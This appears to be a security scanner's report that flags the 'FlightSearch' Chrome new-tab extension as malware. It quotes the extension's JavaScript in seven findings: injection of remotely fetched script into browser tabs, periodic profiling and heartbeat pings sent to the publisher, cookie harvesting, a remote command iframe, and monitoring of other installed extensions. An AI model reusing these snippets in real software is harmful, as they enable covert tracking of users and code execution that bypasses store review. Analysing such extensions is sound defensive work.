Security Alert: Confirmed Malware
FlightSearch
ID: fboecoopeoccppphoknmicldbibjeacb
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- http://flightsearchapp.comView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Track flight status easily. See arrivals, departures and cancellations.
Get FlightSearch, find and track flights, plus web search, free on your Chrome New Tab Extension. Comes with daily content to show you news, weather and more in a new Chrome window! By installing this extension, you agree to the End User License Agreement and Privacy Policy (https://eula.askapplications.com/eula/) This new tab extension is a product of Ask Applications, Inc. Permissions Requested : "Read and change your data on a number of websites" For our product to work, we require access to the websites we own and manage. "Replace the page you see when opening a new tab" This allows us to show you our product - new tab page with free web search. "Read your browsing history" This allows us to tailor product specific content or offers towards relevant information. "Display notifications" This allows us the option to send you updates or additional product offers once you’ve already enjoyed the free product. "Manage your apps, extensions, and themes" This allows us to help you disable or remove this product and also understand whether we are able to provide the best experience.
The extension fetches arbitrary JavaScript from a remotely-controlled URL (`babRemoteScriptUrl`) and stores it in `_this.remoteScript`. At lines 63–76 this fetched code is passed directly as `code:` to `chrome.tabs.executeScript`, executing it in the active browser tab at `document_start`. This gives the publisher the ability to push and run any code in any tab after install, with no version bump required.
this.initRemoteScript = function(extensionConfig) { var gettingRemoteScript = new Promise(function(resolve, reject) { if (!extensionConfig.buildVars.babRemoteScriptUrl) return reject(new Error("remove script URL is not set")); AJAX.get({ url: extensionConfig.buildVars.babRemoteScriptUrl }) .then(function(xhr) { xhr.status === 200 ? resolve(xhr.response) : reject(new Error("unable to load JSON status:\"" + xhr.status + "\"")); }); }); gettingRemoteScript .then(function(remoteScript) { if (!remoteScript) return Promise.reject(new Error("remote script is empty")); _this.remoteScript = remoteScript; })The remotely-fetched script (stored in `_this.remoteScript`) is injected into the active tab via `chrome.tabs.executeScript` with `runAt: "document_start"`. Because the script content is sourced from a remote server, the publisher can modify what runs in user tabs at any time without updating the extension package, bypassing Chrome Web Store review.
return Promise.all([ Util.injectScriptsSequentially(tab.id, injectDetailsArr, extensionConfig, { message: "failed-inject-babContentScript lastError", topic: "browser-action" }), new Promise(function(resolve) { chrome.tabs.executeScript(tab.id, remoteScriptInjectionDetails, resolve); })]);The offer service assembles a detailed user profile — OS, browser version, user-agent, language, country, install date, partner/affiliate IDs, and user segment — and transmits it to a remote `serviceURL` via scheduled PUT requests. This is ongoing, periodic data exfiltration that continues for the lifetime of the extension.
this.getDataPoints = function() { var params = _this.extensionConfig.state.replaceableParams; return { browserID: "", browserName: BrowserUtils.getBrowserName(), browserVersion: BrowserUtils.getBrowserVersion(), campaign: params.affiliateID, cobrandID: params.cobrandID, coID: params.coID, countryCode: params.countryCode || "99", country: "", installDate: params.installDate, installDateHex: params.installDateHex, language: BrowserUtils.getLanguage(), locale: window.navigator.language, os: BrowserUtils.getOS(), partnerID: params.partnerID, partnerSubID: params.partnerSubID, platform: window.navigator.platform, redirectedUserID: "", toolbarBuildDate: _this.extensionConfig.buildVars.buildDate, toolbarID: params.toolbarID, toolbarVersion: params.toolbarVersion, trackID: params.trackID, userAgent: window.navigator.userAgent, userSegment: _this.extensionConfig.state.toolbarData.userSegment };};The background script sends a periodic "live ping" to the publisher's unified logging URL carrying the extension ID plus standard toolbar data (partner ID, toolbar ID, version, user segment). This creates a persistent heartbeat allowing the publisher to track every active installation in real time, indefinitely.
function startULPing(config) { var alarmName = "livePing"; var minTimeToNextPing = 60000; var interval = config.buildVars.livePing.interval; var lastPing = config.state.lastLivePing; var ping = function() { var eventData = { cwsid: chrome.runtime.id }; apps.ul.fireToolbarActiveEvent(config.buildVars.livePing.url, eventData, config) .then(function(response) { config.state.lastLivePing = Date.now(); background.extensionStateStorage.update(config.state); }) .catch(function(err) { Logger.log("Background: startULPing - " + alarmName + ": Unable to send Live ping. " + err); }); };On every install/re-enable, the extension reads all cookies from the advertiser download domain using `chrome.cookies.getAll`. The extracted cookies (partner IDs, cobrand, tracking IDs) are used to attribute the install to an affiliate, confirming this is a pay-per-install adware distribution scheme.
function getDataFromCookies(domain) { return new Promise(function(resolve, reject) { chrome.cookies.getAll({ domain: domain }, function(cookies) { if (cookies.some(function(cookie) { return cookie.name === "toolbarId"; })) { Logger.log("Dlp: getDataFromCookies: Found DLP data cookies in domain: " + domain); resolve(parseCookies(cookies)); } else { reject(new Error("Dlp: getDataFromCookies: FAILED to find DLP data cookies in domain: " + domain)); } }); });}The background page loads a remotely-configured proxy iframe (`babConfig.proxyUrl`) that acts as a postMessage bridge. Combined with the remote script injection mechanism, this provides a two-way communication channel between remotely-hosted pages and the extension background, enabling the publisher to issue commands to the extension without a code update.
this.loadBackgroundBabIframe = function(babConfig) { var iframeId = "babIframeToProxy"; var oneMinute = 60000; var addIframeToProxy = function() { _this.connectionOperations.initMessageHandler(babConfig); var iframe = document.createElement("iframe"); iframe.setAttribute("id", iframeId); Logger.log("BabRemoteConfigProcessor: loadBackgroundBabIframe iframeUrl = " + babConfig.proxyUrl); iframe.setAttribute("src", babConfig.proxyUrl); iframe.onerror = function() {The extension uses `chrome.management.getAll()` to enumerate every installed extension, filtering for those with `newTabPageOverride` permission and tracking their enable/disable/install/uninstall events via `chrome.management.on*` listeners. This surveillance of the user's full extension inventory is reported back to the publisher's logging endpoint and enables competitive sabotage detection.
return new Promise(function(resolve) { chrome.management.getAll(function(extensionInfos) { var watchExtensions = getEmptyWatchExtensionsObject(); extensionInfos .filter(function(eInfo) { return eInfo.type === "extension" && eInfo.id !== chrome.runtime.id && Util.checkOverlap(eInfo.permissions, WatchExtensionsHandler.permissionsToMonitor); }) .forEach(function(eInfo) { WatchExtensionsHandler.permissionsToMonitor .filter(function(monitorPermission) { return ~eInfo.permissions.indexOf(monitorPermission); }) .forEach(function(permission) { watchExtensions[permission].stackOfExtensions.push({ id: eInfo.id, version: eInfo.version, enabled: true }); }); });By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 13.958.19.8936 | 7 |
Files with findings
6 distinct paths — top paths by unique finding count:
- js/babTypeInjectionScript.js2
- js/babRemoteConfigProcessor.js1
- js/background.js1
- js/dlp.js1
- js/offerService.js1
- js/watchExtensionsHandler.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.